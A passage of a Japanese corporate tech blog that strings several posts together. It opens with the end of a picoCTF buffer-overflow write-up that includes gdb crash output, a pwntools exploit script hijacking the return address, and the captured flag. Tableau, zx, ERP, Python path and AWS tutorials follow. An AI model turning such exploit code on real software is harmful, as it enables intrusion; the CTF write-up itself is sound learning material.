("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")EIP: 0x41414641 ('AFAA')EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]Invalid $PC address: 0x41414641[------------------------------------stack-------------------------------------]0000| 0xffb13c60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0004| 0xffb13c64 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0008| 0xffb13c68 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0012| 0xffb13c6c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0016| 0xffb13c70 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0020| 0xffb13c74 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0024| 0xffb13c78 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")0028| 0xffb13c7c ("AA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA")[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x41414641 in ?? ()gdb-peda$ patto 0x414146411094796865 found at offset: 44gdb-peda$ Aborted (core dumped)maz-picoctf@webshell:~/bof1$ gdb-pedaで確認したところ44桁でオーバーフローしそうです。 以上を受けてexploitを作成します。 # exploit.pyfrom pwn import *FILE = "./vuln"LIBC = ""HOST = "saturn.picoctf.net"PORT = 60476def exploit(con, elf, libc, rop): win_symbols = elf.symbols["win"] log.info("win symbol: {}".format(hex(win_symbols))) offset = 44 payload = b"A" * offset payload += pack(win_symbols) log.info("payload: {}".format(payload)) con.sendline(payload)def main(): # context(arch=ARCH, os="linux") if args["REMOTE"]: con = remote(HOST, PORT) else: con = process([FILE]) elf = ELF(FILE) if LIBC != "": libc = ELF(LIBC) else: libc = "" rop = ROP(elf) exploit(con, elf, libc, rop) con.interactive()if __name__ == "__main__": main() maz-picoctf@webshell:~/bof1$ python exploit.py REMOTE[+] Opening connection to saturn.picoctf.net on port 60476: Done[*] '/home/maz-picoctf/bof1/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments[*] Loaded 10 cached gadgets for './vuln'[*] win symbol: 0x80491f6[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08'[*] Switching to interactive modePlease enter your string: Okay, time to return... Fingers Crossed... Jumping to 0x80491f6picoCTF{addr3ss3s_ar3_3asy_2e53b270}[*] Got EOF while reading in interactive flag: picoCTF{addr3ss3s_ar3_3asy_2e53b270} 参考: https://tsalvia.hatenablog.com/entry/2019/11/10/050000#OneShot_OneKillPwnable 後編へ続く・・ ###card_post_id=934### ※サムネ画像ロゴは『picoCTF』より引用
アバター
皆さん、こんにちは! システム統括本部データ活用戦略課(現デジタルテクノロジー戦略本部)のT.Sです。 本記事は、Tableauでデータを可視化してみよう(基本編①)の続きになります。 ###card_post_id=1016### 散布図 使うタイミング:2つのメジャーの関係性を把握したい、外れ値を見つけたい時に便利です。 (例えば、売上と利益の関係を商材ごとに確認したいときなど) 必要な項目:メジャー2個以上、ディメンション1個以上 今回はサンプルスーパーストアで、利益と売上の関連を表したグラフを作ります。 STEP1 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 利益を行にドラック&ドロップします。 STEP3 売上を列にドラック&ドロップします。 すると、右上に○が1個表示されたと思います。 STEP4 注文テーブルの「製品名」をマークの詳細にドラック&ドロップします。 すると、製品名ごとに売上と利益を表した○が作成されました。 <さらに深く分析を進めるために、メジャーを1個追加> STEP5 注文テーブルから「割引率」を選択し、マークの色にドラック&ドロップします。 その後に、割引率を右クリックし、「メジャー(合計)」から「メジャー(平均)」に変更します。 STEP6 マークを自動から円に変更します。 STEP7 マークカードの色をクリックし、色の編集をクリックします。 STEP8 パレットを「赤-緑-金の分化」に変更し、反転にチェックをいれます。 すると、割引率が高いものは赤で表現、低いものは緑で表現されるようになりました。 <さらに深く分析を進めるために、ディメンションを1個追加> メジャーではなく、ディメンションを追加して分析することもできます。 STEP5’ 注文テーブルから「カテゴリ」を選択し、マークの色にドラック&ドロップします。 STEP6’ マークを自動から円に変更します。 STEP7' 「アナリティクス」から「傾向線」を「線形」にドラック&ドロップします。 カテゴリごとの傾向の違いがはっきりするようになります。 以上で散布図は完成です。 あまり活用の機会は少ない印象ではありますが、 「商材事の売上と利益の関係」、「売上と商材価格の関係」、「流入経路ごとのPV数と応募数の関係」など、 色んなことで応用できるグラフとなっております。 これを機会に活用してみてください。 ツリーマップ 使うタイミング:全体の中で大きい値の項目を大まかに把握しやすく表現したい時に便利です。 (例えば、商材ごとの売上を面積の大きさで、利益を色で表現するなど) 必要な項目:メジャー2個以上、ディメンション1個以上 今回はサンプルスーパーストアで、カテゴリごとの売上と利益を四角形の面積で表現したグラフを作ります。 STEP1 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 注文テーブルから「売上」をマークのサイズにドラック&ドロップします。 STEP3 注文テーブルから「サブカテゴリ」をマークのラベルにドラック&ドロップします。 STEP4 注文テーブルから「利益」をマークの色にドラック&ドロップします。 以上でツリーマップは完成です。 マークの部分を自動から円にするとバブルチャートが作成できます。 グラフ作成の手間もかからず、かつデータの大枠を把握する面で役立ちます。 ぜひ作成してみてください。 円グラフ 使うタイミング:全体の割合を示したい時に便利です。 (例えば、性別年代ごとの応募数の割合を示すなど) 必要な項目:メジャー1個以上、ディメンション1個以上 今回はサンプルスーパーストアで、顧客区分ごとの売上の割合を表現したグラフを作ります。 STEP1 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 マーク部分を「自動」から「円グラフ」に変更します。 STEP3 注文テーブルから「顧客区分」をマークの色にドラック&ドロップします。 STEP4 注文テーブルから「売上」をマークの角度にドラック&ドロップします。 STEP5 グラフが小さいのでグラフを大きくしましょう。 画面上部のツールバーの赤枠部分を「ビュー全体」に変更します。 すると、円グラフが大きく表示されます。 STEP6 色を降順に並び替えます。マークの顧客区分を右クリックし、並べ替えをクリックします。 STEP7 並び替えを「フィールド」、並び替え順序を「降順」、フィールド名を「売上」、集計を「合計」に選択し、×で閉じます。 STEP8 売上の値ではなく、割合を表示する場合、「合計(売上)」を右クリック、簡易表計算を選択し、「合計に対する割合」を選択します。 すると、100%の割合の円グラフが作成されます。 円グラフは割合を表すときに使うと便利なグラフです。 基本のグラフにもなりますので、スムーズに作成できるようにしておくと便利だと思います。 ヒストグラム 使うタイミング:ある1つのメジャーの分布やばらつきを表現したい時に便利です。 (例えば、対前月の売上金額の分布を把握したいときなど) 必要な項目:メジャー2個以上、ディメンション0個以上 今回はサンプルスーパーストアで、利益と利益の分布を表現したグラフを作ります。 STEP1 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 注文テーブルの「利益」を右クリックし、「作成」、「ビン」から、「ビンのサイズ」を「10000」にします。 すると、「利益(ビン)」がディメンションに生成されます。 STEP3 「利益(ビン)」を右クリックし、「連続に変換」をクリックします。 STEP4 「利益(ビン)」を列にドラック&ドロップします。 STEP5 「注文(カウント)」を行にドラック&ドロップします。 以上でヒストグラムが完成です。 利益を対前月の実績などに置き換えると、対前月値の分布が確認することができます。 0より左にグラフが偏ってますと、対前月の実績が悪いということがわかりますし、 右に偏ってますと、対前月より売れ行きが好調であるというのが瞬時に判断できます。 ぜひ、試してみてください。 箱ヒゲ図 使うタイミング:ある1つのメジャーの分布やばらつきを表現したい時に便利です。 必要な項目:メジャー2個以上、ディメンション1個以上 ヒストグラム同様、データのばらつきを表現するグラフです。 ただし、読み取り方は一般的にはあまり知られていないため、 統計学に詳しい人にのみお見せすることをお勧めします。 箱ヒゲ図については詳しくは こちら をご覧ください。 総務省統計局のなるほど統計学園 今回はサンプルスーパーストアで、カテゴリごとの利益を顧客ごとにプロットして、利益の分布を表現したグラフを作ります。 STEP1 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 注文テーブルの「利益」を列にドラック&ドロップします。 STEP3 マークを「自動」から「円」に変更します。 STEP4 注文テーブルの「顧客ID」をマークの詳細にドラック&ドロップします。 STEP5 アナリティクスから「箱ヒゲ図」をセルにドラック&ドロップします。 下の画像にうっすらとグレーの箱と線が自動でひかれたと思います。 STEP6 グラフが小さいのでグラフを大きくしましょう。 画面上部のツールバーの赤枠部分を「ビュー全体」に変更します。 STEP7 注文テーブルの「カテゴリ」を行にドラック&ドロップします。 以上で箱ヒゲ図完成です。 分析の仕方としては、事務用品の箱は利益が低め、顧客単位での利益のボリュームゾーンが低めに集中していることがわかります。家具、家電は利益が大きい方にある外れ値が目立ちます。つまりは利益に大きく貢献した顧客がいることを指します。 さいごに 今回のグラフは基本となるグラフの作成方法をピックアップしました。 用途に応じて、実際に触りながら活用していただけると幸いです。 今後は応用編も公開していく予定です!お楽しみに! ※参考書籍 松島七衣(2019).「Tableauによる最強・最速のデータ可視化テクニック~データ加工からダッシュボード作成まで~」.翔泳社.
アバター
はじめに 皆さん、こんにちは! システム統括本部データ活用戦略課(現デジタルテクノロジー戦略本部)のT.Sです。 私は主に、TableauやPaxataなどのセルフBIツールの運用や利用促進を担当しております。 「Tableauでどうデータを見せればいいのだろうか?」と悩んでいる方多いのではないでしょうか。 そんな方のために、Tableauでのデータビジュアライゼーション集を作成しましたので、ご活用いただけますと幸いです! 本メモの活用方法 基本自由にご活用いただいて大丈夫ですが、以下を想定して本メモを書いてます。 初めてTableau Desktopを使う方で、グラフ作成の練習をしたいとき どのような機会でどのグラフを使えばいいのかがわからないとき 前提条件 今回はTableauDesktopに備え付けられているサンプルスーパーストアを使います。 TableauDesktopを開いて、赤枠をクリックするとデータに接続できますので、 予め準備しておいてください。 棒グラフ 使うタイミング:項目同士の大小を表現したいときに使うと便利です。 (例えば、事業所ごとの売上をグラフ化したいときなど) 必要な項目:メジャー1個以上、ディメンション0個以上 【はてなポイント】メジャーとディメンションって何?  メジャーは集計対象の数字で金額や個数などが該当します。(緑色)  ディンメンションは集計の切り口のことで「●●ごとの売上」の●●がディメンションに値します。(青色) 今回はサンプルスーパーストアで、カテゴリごとの売上を表したグラフを作ります。 STEP1 新しいシートを開きます。 STEP2 注文テーブルから「売上」を選択し、行にドラック&ドロップします。 STEP3 注文テーブルからから「カテゴリ」を選択し、列にドラック&ドロップします。 STEP4 行にある「合計(売上)」を Ctrlキーを押しながら マークのラベルにドラック&ドロップします。 これでデータの値が表示されます。 以上で棒グラフ完成です。 単純な棒グラフですが、積み上げ棒グラフや100%帯グラフなど、 いろんなものに応用できますので、初めてTableau触る方は、まずは棒グラフをスムーズに作れるようになりましょう。 折れ線グラフ 使うタイミング:値の推移、時系列の変化を表現したいときに使うと便利です。 (例えば、年月ごとに売上の推移を確認したいときなど) 必要な項目:メジャー1個以上、ディメンション0個以上、日付1個以上 今回はサンプルスーパーストアで、オーダー日の売上推移を表したグラフを作ります。 STEP1 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 注文テーブルから「売上」を選択し、行にドラック&ドロップします。 STEP3 注文テーブルからオーダー日を列にドラック&ドロップします。 すると年単位での売上の推移グラフが完成します。 STEP4 STEP3でドラック&ドロップした「年(オーダー日)」の横にある+ボタンをクリックします。 すると四半期ごとの売上の推移を確認できます。 【はてなポイント】どうしてグラフが途中で途切れているのか?  Tableauの日付には連続と不連続という概念があります。   連続:数値や時系列などをつながった流れの値として扱います。(日付部分が緑色になります)   不連続:数値や時系列などを分断して扱います。(日付部分が青色になります)  今回の場合はオーダー日の年ごとに一度集計値がリセットされていることから、不連続のグラフであることがわかります。 STEP5 「年(四半期)」の横にある+ボタンをクリックします。 すると月ごとの売上の推移を確認できます。 STEP6 列にある「四半期(オーダー日)」を枠外にドラック&ドロップします。 すると・・・ 年と月ごとの売上推移のグラフが完成しました。 これで折れ線グラフの完成です! <連続の折れ線グラフを作るには・・・> 時系列で一連の推移を確認したい場合はSTEP3から作成手順が変わります。 STEP3’ 注文テーブルの「オーダー日」を 右クリックをしながら 列にドラック&ドロップします。 すると、下記のようにフィールドのドロップというポップアップ画面が表示されます。 STEP4' 下の方の「月(オーダー日)」を選択し、OKボタンをクリックします。 すると・・・ 先ほどとは違う、つながった折れ線グラフが作成されました。 列の部分に注目してもらえるとわかるように、不連続の折れ線グラフだと青色、連続の折れ線グラフだと緑色になっていることがわかります。 どのようにデータを見せたいかなどに応じて、連続、不連続を使い分けましょう。 積み上げ棒グラフ 使うタイミング:棒グラフとグラフの内訳を表現したいときに使うと便利です。 (例えば、事業所ごとの売上に商材ごとの内訳をプラスしたグラフを作成したいときなど) 必要な項目:メジャー1個以上、ディメンション1個以上 今回はサンプルスーパーストアで、地域の売上をカテゴリごとに表したグラフを作ります。 STEP1 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 注文テーブルから「売上」を選択し、列にドラック&ドロップします。 STEP3 注文テーブルから「地域」を選択し、行にドラック&ドロップします。 STEP4 列にある「合計(売上)」を Ctrlキーを押しながら 、マークのラベルにドラック&ドロップします。 これで地域ごとの売上の合計値が表示されます。 STEP5 注文テーブルから「カテゴリ」を選択し、マークの色にドラック&ドロップします。 STEP6 作成したグラフを売上の降順で並び替えします。 行の「地域」を右クリックし、「並び替え」を選択します。 STEP7 並び替えは「ネスト」、並び替え順序は「降順」、フィールド名は「売上」、集計は「合計」に設定し、「×」ボタンをクリックします。 すると、売上の大きい順に並び替えができました。 以上で積み上げ棒グラフが完成です。 積み上げ面グラフ 使うタイミング:複数の項目を積み上げて累計を表現したいときに使うと便利です。 (例えば、年月と商材ごとに売上の累計値の推移を確認したいときなど) 必要な項目:メジャー1個以上、ディメンション1個以上、日付1個以上 今回はサンプルスーパーストアで、カテゴリごとの売上をオーダー日の年月で推移が追えるようなグラフを作ります。 STEP1 連続の折れ線グラフを作成します。 画面下部分のシート追加ボタンをクリックしましょう。 STEP2 注文テーブルから「売上」を選択し、行にドラック&ドロップします。 STEP3 注文テーブルの「オーダー日」を 右クリックをしながら 列にドラック&ドロップします。 すると、下記のようにフィールドのドロップというポップアップ画面が表示されます。 STEP4 下の方の「月(オーダー日)」を選択し、OKボタンをクリックします。 これでつながった折れ線グラフが作成されます。 STEP5 マークが現在「自動」となっている部分を、ドロップダウンリストから「エリア」に選択しなおします。 STEP6 注文テーブルから「カテゴリ」を選択し、マークの色にドラック&ドロップします。 以上で積み上げ面グラフが完成です。 基本編②に続きます。 ###card_post_id=968###
アバター
はじめに JavaScriptは闇の深い言語だのなんだの言われがちです。 ですが、そういったツッコみを入れられやすい仕様の代わりに、敷居が低く手軽に書ける言語でもあります。 そんなJavaScriptを愛する皆さんなら、こんなことを一度は思ったことがあるのではないでしょうか。 「Linux環境のシェルスクリプトとか、Windowsのバッチとか、全部JavaScriptで手軽に書けたら楽だな……」 長年バッチファイルを書いてきた人や、シェル芸を得意とする人でもない限り、これらの処理を書くのはなかなかに苦痛でしょう。JavaScriptの様な、よく見る手慣れた言語で書きたいです。 そんな夢を叶えるツール、それがGoogle(の開発者)謹製のライブラリ、 zx です。 インストール 実行環境として、以下の環境が必要です。 node.js 16.0.0以上 npmでzxをインストールします。 npm install -g zx 今回、 -g オプションでグローバルインストールを行っていますが、しなくてもよいです。 グローバルインストールしない場合は、npx経由でzxを叩いてください。 ありそうな処理を書いてみる 試しに、touchコマンドでファイルを作成し、lsコマンドを実行する処理を書いてみます。 .mjs 拡張子のファイルを作成します。 今回は、適当に touch2ls.mjs という名前で作成しました。 #!/usr/bin/env zxawait $`touch example_file`await $`ls` 書き方としては、先頭にシェルスクリプトのようにシバンとして #!/usr/bin/env zx を書き、$`command`でLinuxコマンドを記載できます。 注意点として、コマンドの返り値の型は ProcessPromise<ProcessOutput> 、Promiseが含まれていることからわかるように非同期処理です。 touch2ls.mjs を以下のコマンドで実行します。 C:\Users\hoge_user\temporary>zx touch2ls.mjs$ touch example_file$ lsexample_filetouch2ls.mjs ちなみに、上記のコマンドの実行環境はコマンドプロンプトです。 コマンドプロンプトですが、存在しない ls コマンドを問題なく実行できています。 より実践的な処理を書く 今度はより実践的な処理として、約1GBのndjsonファイルから特定の文字列を持つ行を抽出し、それが全体の何%かを求めたいと思います。 シェルスクリプトに詳しい方ならそれのみで書けるかと思いますが、詳しくない人間にとってはこれをシェルスクリプトで書くのは難しいはずです。 やり方としては cat コマンドで出力する結果をパイプして grep -c コマンドを用いて該当の行数を取得 wc -l コマンドを用いて全体の行数を取得 JavaScriptで割り算し、結果を出力 という手順を取ります。 その手順で作成したファイルがこちらです。 #!/usr/bin/env zxconst path = argv.pathconst grepList = (await $`cat ${path} | grep -c マイナビ`).stdoutconst fileWc = (await $`cat ${path} | wc -l`).stdoutconsole.log(`result: ${grepList / fileWc * 100}%`); 今回は、抽出対象の文字列を マイナビ としました。grepコマンドで使用しているので、 -E オプションを付ければ正規表現でも問題ありません。 zxではコマンドラインパーサであるminimistを、グローバルな変数 argv として明示的にインストールせず使用できるので、検索対象のファイルパスは --path オプションで取得する想定で記述します。 コマンドの出力結果は、stdoutとして標準出力を取得できるので、そちらから取得できます。 それでは、実際に実行してみましょう。 今回使用するサンプルファイル job.ndjson のファイルサイズは1742299683、およそ 1.7GB です。 C:\Users\hoge_user\temporary>zx calc.mjs --path job.ndjson$ cat job.ndjson | grep -c マイナビ21375$ cat job.ndjson | wc -l264680result: 8.075789632764092% このように、簡単に結果を求めることができました。 ちなみに、こちらの結果を同PCのWSL2上でtimeコマンド付きで10回実行したところ、平均約6.8秒程度で完了しています。通常のJavaScriptの処理と比較して、非常に簡潔なコードかつ高速です。 おわりに 今回はシェルスクリプトやバッチファイルの代替として紹介しましたが、個人的にzxはそれ以上の可能性を秘めていると感じています。 例えば、JavaScriptの大きな弱点として大規模なデータを扱うことが難しいという点がありますが、zx経由でこれらのデータを触ることで、ある程度その問題を回避できます。 また、本文中では紹介しませんでしたが、 fetch や sleep などの通常のnode.js環境にはライブラリなしには存在しない便利な機能が、zxでは標準で存在します。 咄嗟にちょっとした処理を書くのに何かと便利なzx、ぜひ試してみてください。
アバター
はじめに 基幹システム開発3課(現デジタルテクノロジー戦略本部)のA.Yです。 4月から組織名称が変更され、私はERPシステム部所属となりました。 ERPってなんだろう~、と思ったことをきっかけにERPについてと、 よく比較されている基幹システムについて調べてみることにしました! ERPとは Enterprise Resources Planning の略で、「企業資源計画」と直訳できます。 企業資源を指すヒト・モノ・カネ・情報を一元管理し、有効活用する考え方のことです。 ERPシステムを導入する目的は、企業の基幹業務である「会計」「人事」「生産」「物流」「販売」において、効率化・情報の一元管理を実現することです。 ERPのメリット・デメリットは? メリット デメリット ・ 情報の一元管理が可能になり、業務を効率化できる ・部門間の情報連携に無駄がなくなる ・経営課題が分かりやすく見える ・導入時にコストがかかる ・自社にあったシステムを選ぶ・開発するのが難しい 基幹システムとの違い 基幹システムとは、企業の主要な業務を遂行するのに使われる業務システムのことを指します。 一般的には、下記6つのシステムが基幹システムと呼ばれています。 財務会計システム 生産管理システム 販売管理システム 購買管理システム 在庫管理システム 人事管理システム これらは独立したシステムとして作られ、各部署に点在して稼働していることが多いです。 そのため、各システムとデータをやりとりする際は、システム同士の連携が必要となります。 基幹システム導入のメリットとしては、業務の効率化、ヒューマンエラーの削減等があり、 各部署や目的に応じて稼働する企業の根幹を支える重要なシステムといえます。 以上を踏まえて、ERPと基幹システムとの違いは、 ERPの「企業資源を有効活用する考え方」に基づいたシステムかどうか 企業にとって重要な基幹システムが独立しているか、統合されているかどうか となります。 おわりに 今回調べてみるまで部署名がアルファベットに変更され覚えられるかなあ、と思っていましたが、 意味を知ると部署担当のシステムの今後についてや、 部や課がどのような意味を込めてこの名前にしたのかなど、いろいろ想像が膨らみます。 4月からERPシステム部の一員として、もっともっと頑張ります!
アバター
はじめに 皆さん、こんにちは!AIシステム部のS.Tです。 開発をする上できちんと考えなければいけないパス問題。 今回はPythonのパス解決法を考えてみました。 パス解決とは? 例えば次の例文を考えます。 import hashlibimport pandas このとき、importされる各モジュールは、実際にはディスクのどこかのファイルとして保存されています。 どこのファイルから読み込まれたかは、 __file__ 属性を参照すれば確認できます。 print(hashlib.__file__)# => /home/xxxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/hashlib.py# (おおもとのpythonのビルトインライブラリが読み込まれた)print(pandas.__file__)# => /home/xxxxx/projects/yyyyy/.venv/lib/pythonX.Y/site-packages/pandas/__init__.py# (pipenvによってプロジェクトルートに生成された仮想Python環境) この import <ライブラリ名> と呼び出したときに、実際にはそのライブラリをどこから読み込むかを決める作業を「 パス解決 (Path Resolution)」といいます。 パスには解決順がある Pythonは、ライブラリをインポートしたときに、あるきまった順番で、そのライブラリがないかを探しに行きます。 その順番は、sys.pathの値を見ると確認できます。 import syssys.path[ '', # カレントディレクトリ '/home/xxxxx/.pyenv/versions/X.Y.Z/lib/pythonXY.zip', '/home/xxxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y', '/home/xxxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/lib-dynload', '/home/xxxxx/projects/my-project/.venv/lib/pythonX.Y/site-packages'] 上記の例では、例えば import pandas と実行したときは、このリストの上から順番にpandasがあるかどうかを探しに行きます。 解決順の決まり方 このsys.pathですが、Pythonを実行する環境や、Pythonをインストールした場所によって変わります。では、どのようにしてその値が決まるかというと、Python起動時に、次の順番でsys.pathに先頭から値が追加されていきます。 ① カレントディレクトリ(Pythonを起動したときに居た場所) + ② 環境変数PYTHONPATHの値 + ③ インストール場所に依存するパス + ④ .pthによって追加されるパス ① カレントディレクトリ これはもうそのままで、無条件で先頭に追加されます。つまり、import hogehogeと実行したときに、まずはカレントディレクトリにhogehogeがないか確認しに行きます。 ② 環境変数PYTHONPATHの値 Pythonを起動する際に、環境変数PYTHONPATHにディレクトリのパスを設定しておくと、その場所を解決先の候補に加えることができます。加えられる位置は、①のカレントディレクトリの後です。 $ export PYTHONPATH=/home/xxxxxx/my-packages$ python>>> import sys>>> sys.path['', '/home/xxxxxx/my-packages', '/home/xxxx/.pyenv/versions/X.Y.Z/lib/pythonXY.zip', ....(以下略)] また、Linux系OSの場合は:(コロン)で、Windowsの場合は;(セミコロン)で区切ることで複数のパスを解決先の候補に加えることができます。 $ export PYTHONPATH=/home/xxxxxx/my-packages:/home/xxxxxx/my-tools$ python>>> import sys>>> sys.path['', '/home/xxxxxx/my-packages', '/home/xxxxxx/my-tools', '/home/xxxx/.pyenv/versions/X.Y.Z/lib/pythonXY.zip', ....(以下略)] 個人開発したツールがどこか別の場所にあって、それを使いたい場合は、このオプションを使いましょう。 ③ インストール場所に依存するパス これはPythonをOSにインストールした際に、どのパスにインストールしたかによって変わる値です。実行するPythonのバージョンや、Anacondaなどのリポジトリ、仮想環境の違いによって決まります。 具体的には、sys.prefixが、今実行しているPythonのインストールされているディレクトリで、その値をもとに、次のようなパスが追加されていきます。 <sys.prefixの値>/lib/pythonX.Y # 主要ライブラリ(`os`とか`sys`とか)<sys.prefixの値>/lib/pythonX.Y/lib-dynload # Cライブラリ<sys.prefixの値>/lib/pythonX.Y/site-packages # サードパーティライブラリ ④ .pthによって追加されるパス これはあまり使うことはないと思いますが、site-packageディレクトリの子ディレクトリにもパスを通したい場合に、site-packageディレクトリ内に拡張子が.pthのファイルを置き、そこにパスを通したい子ディレクトリを書いておくと、それも解決先の候補に加えることができるというものです。 試しに、hogeというディレクトリをsite-packagesに追加し、そこにパスを通してみます。 $ echo "hoge" > /home/xxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/site-packages/mypath.pth$ mkdir /home/xxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/site-packages/hoge$ python>>> import sys>>> sys.path['', '..(中略)..', '/home/xxxxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/site-packages', '/home/xxxxxx/.pyenv/versions/X.Y.Z/lib/pythonX.Y/site-packages/hoge'] 上記の通り、作成したhogeディレクトリにパスが通りました。 ちなみに、.pthに追加したディレクトリが存在しない場合、sys.pathには追加されないようです。ちょっとしたやさしさを感じます。 まとめ というわけで、パス解決について今回は詳しく見てみました。 「あれ?正しくimportされない・・」と思った時に、どう対処すればよいかを考えるとき、ここで解説したことが役に立ってくれればと思います。 おまけ 当社のキャリアアドバイザーが「WEB事業会社に興味はあるけど、何から始めるべきかわからない」「転職は考えていないけど、今の環境が今後に活きるのかわからない」など、今後のために情報収集したい、という方に少しでも参考になる情報をまとめています。良ければご覧ください! ###card_post_id=2375###
アバター
はじめに 皆さん、こんにちは!ITエンジニアリング部(現デジタルテクノロジー戦略本部)のF.Kです。 本記事は、21卒の私が約1年間、AWSについて調べたり触ったりしていく中で知った、 AWSの基礎の基礎 をまとめたものです。 はじめてAWSに触れるとき、いろいろ記事を見て周ったのですが、「リージョンってなに?」「アベイラビリティゾーンってなに?」みたいな状態になり、「リージョンとは」「アベイラビリティゾーンとは」を説明しているサイトをいくつか経由して理解しました。いくつかサイトを見た理由は、「こんな感じだろう」みたいなイメージがほぼ出来なかったからです。 この記事は 「こういうサイトがあったらイメージが湧いたのにな」 という私の想いがあって作成しました。 これからAWSについて触れる方や、ITエンジニアを目指す方が読んで、AWSについての漠然としたイメージが出来る記事になっていると思います。 前提として必要な知識 基本的なIT知識があると理解しやすいと思います。 ※基本情報技術者試験に合格できるレベル、またはWEBアプリを開発したことのあるレベルであれば、問題ありません AWSとは AWS とは、Amazon Web Serviceの略で、Amazonが提供しているクラウドサービスの総称です。 Amazonでは、購買がクリスマス前に増大します。それに対応するためにサーバーを増やしましたが、その時期以外は全く使っていないため、これを有効活用しようと始めたのがAWSと言われています。 (詳しく知りたい方はこちら。AWS誕生に携わった方のtweetが翻訳されて記事になっています。) 現在のAmazonの売上高の約12%はAWSによるものです [1] 。 クラウド(サービス)とは クラウド(サービス)とは、インターネットを利用して様々なサービス(AWSにおいては、サーバ・ストレージ・データベース等)を提供するサービスのことです。クラウドに対して、サーバ等を自社に設置して運用することを オンプレミス といいます。 手元に一台のPCとインターネットに接続できる環境さえあれば、インターネットを介して、高性能なサーバや大容量のストレージ、高速なデータベースなどが利用できます。 クラウドサービスにも種類があり、一般ユーザや企業にサービスを提供するサービスを パブリッククラウド といい、企業や組織が自社内でクラウドサービスを構築し、特定のユーザだけが利用できるサービスのことを プライベートクラウド といいます(AWSは前者です)。 AWSと似たクラウドサービスに Google Cloud (GCP) と Microsoft Azure (Azure) があります。 全体のシェアとして、AWSが32%、Azureが19%、GCPが7%、その他が42%となっており [2] 、AWSが高シェアとなっている理由は、はじめてクラウドサービスを提供したため、サービスの種類が豊富でセキュリティ面も安全であり、利用ユーザが多いので、知見が得られやすいことが挙げられます。 AWSを使う理由 AWSには大きく4つのメリットがあります。 1. 固定費が変動費に 従来のオンプレミスのシステムでは、事前にデータセンターやサーバに多額の投資を行う必要がありましたが、クラウドを利用することで、リソースを 利用した時に利用した分だけ支払う 方法に変えることが出来ます。 2. キャパシティ予測が不要 オンプレミスでは、キャパシティの予測にかなりの時間をかけます。なぜなら、いつ、どれくらいのアクセスが来るかをある程度予想したうえで、ITリソースを調達する必要があるからです。 しかし、先にキャパシティを決めてしまうと、高額の無駄なリソースが発生したり、リソース不足のため十分なサービスを提供できなかったりする可能性があります。 AWSでは必要に応じてリソースの増減を行うことが出来るので、最大のインフラ容量を予測する必要がなくなります。 必要に応じてアクセスするだけでスケールアップやスケールダウンが可能 になるからです。 3. インフラの運用・保守への投資が不要に AWSを利用することで、オンプレミスで必要だった費用、例えばサーバ代、データセンター利用料、ラック利用料、電気代、ネットワーク利用料、ハードウェアベンダーへの保守費用、各種人件費が不要になります。さらに、定期的な機種変更にかかわる費用も検討する必要がありません。 もともとインフラに充てられていた費用を他の投資に回すことができ、インフラ部分には特別な注意を向ける必要がなくなります。 4. わずか数分でどこにでもデプロイ可能 例えば「これから海外のデータセンターにWebサーバを一台構築せよ」と業務命令が出されたとしましょう。 この業務を完遂するためには、航空券、パスポート、ビザ、物理サーバ、その他機器、回線事業者へのネットワーク工事依頼、データセンターへの機器の搬入、空港からデータセンターへの交通機関、データセンターへの入館申請、キッティング、ラッキング、ネットワークケーブリング、OSのセットアップ等、やらなければいけないことがたくさん挙がります。 これが AWSなら、数クリックで海外にWebサーバを構築 できます。 わずか数クリックするだけで、世界中にアプリケーションを展開できます。 AWSを使ううえで知っておくべき用語 リージョン AWSのサービスを提供するのに必要なサーバやストレージなどが保管されている データセンター があり、それらが存在するエリアのことを リージョン と呼びます。 世界の各地域にAWSのリージョンが存在し、日本にあるリージョンは以下の二つです。 ap-northeast-1(アジアパシフィック(東京)) ap-northeast-3(アジアパシフィック(大阪)) ゾーン・アベイラビリティゾーン (AZ) ゾーン・アベイラビリティゾーン(AZ) とは、各リージョンの中にある運用区間です。 